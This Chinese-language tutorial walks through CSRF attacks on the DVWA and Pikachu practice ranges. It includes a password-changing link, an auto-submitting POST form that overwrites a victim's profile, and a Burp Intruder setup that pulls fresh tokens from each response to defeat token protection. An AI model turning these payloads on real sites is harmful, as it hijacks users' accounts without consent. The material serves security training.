DVWA靶场链接:https://pan.baidu.com/s/1eUlPyB-gjiZwI0wsNW_Vkw?pwd=0b52
提取码:0b52
DVWA Low 级别打开靶场,修改密码
复制上面的 url,写个简单的 html 文件
<html
<body> <a href=http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Ch ange=Change#>csrf</a>
</body>
</html>
点击链接后,在dvwa未login out的情况下,直接修改了密码
Pikachu 靶场:链接:https://pan.baidu.com/s/12L5WZKrlI_RlYPmo1AjQRg?pwd=ndwj
提取码:ndwj
Get 型
根据提示,我们随机选择账号进行登录。在这里,以lili账号为例,进行登录。
登录之后,可以看到lili的个人信息
点击修改 lili 的信息并进行抓包
后台没做 CSRF token,同时也是通过 GET 请求来提交修改信息,我们拿到这个,修改一下,然后让 allen 点击就好,我们构造的 URL 中把地址 add 改为 hacker。allen 一点击就修改了地址。CSRF 的主要问题是敏感操作容易被伪造,我们可以加入 Token 让请求不容易被伪造
Go 一下之后去访问上面的链接,就发现上面的信息被更改了
Post 型
尝试构造form表单CSRF_post.html,点击链接恶意修改个人信息
<html><head><script> window.onload = function() {
document.getElementById("postsubmit").click();
}</script></head><body>
<form method="post" action="http://[站点IP/域名]/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="hacker" />
<input id="phonenum" type="text" name="phonenum" value="11111111111" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="hacker@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit"/></form></body></html>
访问该表单后,个人信息就发生了变化
CSRF Token login
token 是如何防止 CSRF 的:CSRF 的主要问题是敏感操作的链接容易被伪造。
解决容易被伪造的方法:每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证
1. 在 pikachu 的 CSRF Token 页面以 lucy 的账号进行登录,然后修改信息,并进行抓包,这里我们可以看到有 token 值
Token 值,防 CSRF
2.每次刷新页面,token值都会发生变化。这样就防止了CSRF 这里的确是没法伪造的试试绕过token,将请求包发送到Intruder模块,设置positions,攻击模式设置为Pitchfork,这里只把电话号码和token设置为了变量
设置payload,这里就不使用字典了,直接随便指定几个号码,主要看一下token 怎么设置poaylod
主要为了获取“上一次响应数据包”中的token值,在响应包中找到token值,规则添加成功
因为需要提交token,所以不能使用多线程,需要把线程数改为1
重定向响应,这里设置为总是跟随重定向
设置递归
攻击成功